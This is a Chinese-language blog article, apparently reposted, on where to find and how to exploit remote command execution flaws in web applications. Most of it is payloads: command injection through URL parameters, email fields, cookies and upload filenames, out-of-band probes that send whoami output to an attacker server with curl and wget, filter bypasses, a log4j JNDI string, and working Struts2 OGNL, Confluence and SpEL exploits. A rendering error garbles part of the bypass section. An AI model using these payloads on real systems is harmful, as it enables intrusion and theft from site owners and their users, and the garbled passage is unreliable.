RCE漏洞可能出現(xiàn)在哪些地方?
1.URL上
在url參數(shù)上,不僅僅可能存在ssrf漏洞,也有很大概率存在命令執(zhí)行,很大可能調(diào)用系統(tǒng)命令如curl。
payload例子:
index.php?id=2;}phpinfo();/*
ttp://www.xxx.com/cmd.php?cmd=phpinfo()
比如訪問(wèn)到如下URL,在jsp后面嘗試加參數(shù),比如path(什么參數(shù)需要試)
?
?文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-427924.html
http://x.x.x.x:28076/file/dirFiles.jsp?path=
發(fā)現(xiàn)show.jsp存在任意文件讀取漏洞,URL:http://x.x.x.x:28076/file/show.jsp?path=/etc/passwd
最初想通過(guò)添加雙引號(hào)閉合if條件判斷參數(shù)注入命令,沒(méi)有成功。
payload:/etc/passwd" ];ls;then echo 1;fi;if [ -e "123.txt;
經(jīng)過(guò)多次測(cè)試,最終可用反引號(hào)``或者$()進(jìn)行命令執(zhí)行,如`ifconfig`:
payload:"`ifconfig |xargs`"
命令結(jié)果的回顯是因?yàn)榕袛嗖淮嬖贔ILA_PATH文件名的文件后,會(huì)把變量值返回
echo "the file($FILE_PATH) dose not exist!"
拓展知識(shí):Linuxbash中可以使用反引號(hào)``、$()等方式將bash命令的執(zhí)行結(jié)果保存到變量中,如a=$(ifconfig):
2.所有變量:所有變量/提交的數(shù)據(jù)都要嘗試
測(cè)試payload:
& | 不管前后命令是否執(zhí)行成功都會(huì)執(zhí)行前后命令 |
---|---|
&& | 具有短路效果。 前面的命令執(zhí)行成功才能執(zhí)行后面的命令 |
| | 管道符, 上一條命令的輸出,作為下一條命令參數(shù)(輸入) 。在拼接時(shí),無(wú)論左邊是false還是true,右邊都會(huì)執(zhí)行 |
|| | 具有短路效果。 前面的命令執(zhí)行不成功才能執(zhí)行后面的命令 |
payload例子
ping 127.0.0.1&ipconfig #在linux系統(tǒng)里是幾乎同時(shí)執(zhí)行
ping 127.0.0.1 && ipconfig #在linux系統(tǒng)里執(zhí)行完前面再去執(zhí)行后面
ping 127.0.0.1 &;& ipconfig #其中**;**會(huì)被解析為空
ping 127.0.0.1 || ipconfig #在linux中兩個(gè)**||** = or
ping 127.0.0.1 | ipconfig #在linux中**|**叫管道符,把前面一個(gè)命令執(zhí)行的結(jié)果給后面的命令執(zhí)行
?
再測(cè)試SSRF的地方嘗試測(cè)試命令執(zhí)行
文件下載處就很大概率會(huì)調(diào)用wget!在查看圖片,查看文件等地方可能會(huì)使用cat命令等,在文件刪除上,我們可能會(huì)用到rm命令!
嘗試在url,xxxurl等參數(shù)下測(cè)試命令執(zhí)行
如輸入http://服務(wù)器ip/ 采用nc監(jiān)聽探測(cè)是否訪問(wèn)。
嘗試 輸入http://?sleep 5
.服務(wù)器地址/ 出現(xiàn)延遲就說(shuō)明存在注入
嘗試輸入 http://服務(wù)器地址/$(whoami)
嘗試輸入http://whoami
.服務(wù)器地址
現(xiàn)在搭建網(wǎng)站多以linux做網(wǎng)站服務(wù)器,以linux為例子講解:
作為曾經(jīng)寫過(guò)一段時(shí)間業(yè)務(wù)代碼的我來(lái)說(shuō),在挖掘命令執(zhí)行漏洞時(shí),我經(jīng)常思考,哪些地方更有可能存在命令執(zhí)行漏洞呢?
網(wǎng)站郵箱注冊(cè),填寫郵箱,郵箱驗(yàn)證處,是否可能存在第三方接口的調(diào)用
?payload:”email”: `wget%20xxx.ceye.io/xxxx`@qq.com”
3.所有頭:cookie的變量
4.文件上傳處:存在問(wèn)題參數(shù)filename
完整數(shù)據(jù)包:
POST /index.php HTTP/1.1
Content-Length: 364
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_NHDUMYQDQJ
Host: xxx.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="submit"
submit
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="ver"
set|set&set
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="file"; filename=";set|set&set;"
Content-Type: image/png
-------AcunetixBoundary_NHDUMYQDQJ—
發(fā)包響應(yīng):
列出所有系統(tǒng)路徑。他這里fuzz的技巧很好,一般我們測(cè)試命令注入都是|payload亦或是&payload,亦或是;payload,他這里把三種測(cè)試方法都?xì)w到一塊變成: ;payload|payload&payload
payload可以是直接回顯的set或者是ls等參數(shù),也可以是遠(yuǎn)程curl,wget探測(cè)!
凡是name,filename等參數(shù)是很容易爆發(fā)出命令執(zhí)行漏洞的,這些參數(shù)是我們fuzz中重點(diǎn)的關(guān)照對(duì)象。我們一定要對(duì)這些點(diǎn)進(jìn)行多測(cè)試!
?逐個(gè)變量刪除:篩選出服務(wù)器對(duì)哪些變量進(jìn)行處理
小總結(jié):
Window下||和&
linux下||和&
Linux下過(guò)濾空格可以使用:I F S , {IFS},IFS,IFS,$IFSKaTeX parse error: Can't use function '\u' in math mode at position 15: 9 JSON格式下的測(cè)試: \?u?000awget\u0020 …(whoami)
curl http://服務(wù)器地址/( w h o a m i ∣ b a s e 64 ) ′ w ′ g ′ e ′ t (whoami|base64) 'w'g'e't(whoami∣base64)′w′g′e′t{IFS}服務(wù)器地址
Windows下rce探測(cè):
ping %USERNAME%.服務(wù)器地址
for /F %x in (‘whoami’) do start http://服務(wù)器地址/%x(獲取計(jì)算機(jī)名)
for /F “delims=\ tokens=2” %i in (‘whoami’) do ping -n 1 %i.服務(wù)器地址(獲取用戶名)
測(cè)試郵箱:wget%209服務(wù)器地址/xxxx
@qq.com
測(cè)試上傳:sleep 10
filename
測(cè)試filenname:||wget%20服務(wù)器地址
測(cè)試上傳處下的名稱: ;payload|payload&payload
各語(yǔ)言RCE的危險(xiǎn)函數(shù)
1、PHP
assert
escapeshellarg
escapeshellcmd
exec
passthru
proc_close
proc_get_status
proc_nice
proc_open
proc_terminate
shell_exec
system
2、Python
system
popen
subprocess.call
spawn
3、Java
java.lang.Runtime.getRuntime().exec(command)
5.框架和中間件已曝光漏洞
以JAVA舉例:
rmi ?遠(yuǎn)程通信協(xié)議 一種機(jī)制,可以在相同計(jì)算機(jī)的不同進(jìn)程或者不同計(jì)算機(jī)的進(jìn)程,rmi傳輸是通過(guò)序列化方式進(jìn)行傳輸?shù)模瑀mi在接收經(jīng)過(guò)序列化的對(duì)象(字節(jié)流)會(huì)進(jìn)行反序列化。
jndi:是應(yīng)用程序命令接口,會(huì)加載實(shí)例對(duì)象,還可以訪問(wèn)現(xiàn)有的目錄和服務(wù)。一般是命令執(zhí)行注入漏洞,反序列化漏洞也會(huì)關(guān)聯(lián)到。
LDAP:是一個(gè)訪問(wèn)在線目錄服務(wù)的協(xié)議,比如log4j2遠(yuǎn)程代碼執(zhí)行漏洞,可以使用相關(guān)的dnslog平臺(tái)查看,在dnslog平臺(tái)獲得臨時(shí)域名,漏洞處輸入payload:${jndi:ldap://rbmanr.dnslog.cn/exp} 有回顯,說(shuō)明存在該漏洞。jndi注入的地方可以找url或抓包請(qǐng)求頭比如X-Api-Version
ognl(對(duì)象圖導(dǎo)航語(yǔ)言),它是struts2框架里面的第三方語(yǔ)言(即可以再別的地方用,struts2只是拿過(guò)來(lái)了而已),它可以調(diào)用對(duì)象中的方法,參考https://www.cnblogs.com/ends-earth/p/10714068.html 不僅可以執(zhí)行簡(jiǎn)單計(jì)算(首先生成一個(gè)ongl上下文,context),ongl還可以對(duì)類和對(duì)象進(jìn)行操作。通過(guò)context來(lái)put的對(duì)象都會(huì)放入value屬性中,穿進(jìn)去的字符串就是該屬性中的key,通過(guò)#key的形式來(lái)指定對(duì)象,也可以修改屬性值和方法。有了這些基礎(chǔ)我們就可以來(lái)構(gòu)造ognl表達(dá)式來(lái)執(zhí)行我們的命令
struts2的ognl表達(dá)式注入漏洞,原理就是對(duì)用戶的參數(shù)沒(méi)有進(jìn)行過(guò)濾,導(dǎo)致惡意參數(shù)直接傳入到ognl的方法中命令執(zhí)行。paylaod:${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
比如 Atlassian Confluence 遠(yuǎn)程代碼執(zhí)行漏洞。payload:${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
SpEL全稱是Spring Expression Language是一種強(qiáng)大的表達(dá)式語(yǔ)言。在Spring產(chǎn)品組合中,它是表達(dá)式計(jì)算的基礎(chǔ)。它支持在運(yùn)行時(shí)查詢和操作對(duì)象圖,它可以與基于XML和基于注解的Spring配置還有bean定義一起使用。由于它能夠在運(yùn)行時(shí)動(dòng)態(tài)分配值,因此可以為我們節(jié)省大量Java代碼。
SpEL使用 #{…} 作為定界符,所有在大括號(hào)中的字符都將被認(rèn)為是 SpEL表達(dá)式,我們可以在其中使用運(yùn)算符,變量以及引用bean,屬性和方法。spel表達(dá)式注入漏洞,將輸入的參數(shù)直接當(dāng)作表達(dá)式解析的參數(shù),在解析過(guò)程中將造成命令執(zhí)行。
http://127.0.0.1:8080/test?input=new%20java.lang.ProcessBuilder(%22/Applications/Calculator.app/Contents/MacOS/Calculator%22).start()
http://127.0.0.1:8080/hehe?payload=${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{47, 65, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 115, 47, 67, 97, 108, 99, 117, 108, 97, 116, 111, 114, 46, 97, 112, 112, 47, 67, 111, 110, 116, 101, 110, 116, 115, 47, 77, 97, 99, 79, 83, 47, 67, 97, 108, 99, 117, 108, 97, 116, 111, 114})).start()}
比如Spring Cloud Gateway 遠(yuǎn)程代碼執(zhí)行漏洞
?文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-427924.html
?
到了這里,關(guān)于RCE遠(yuǎn)程命令執(zhí)行漏洞挖掘思路的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!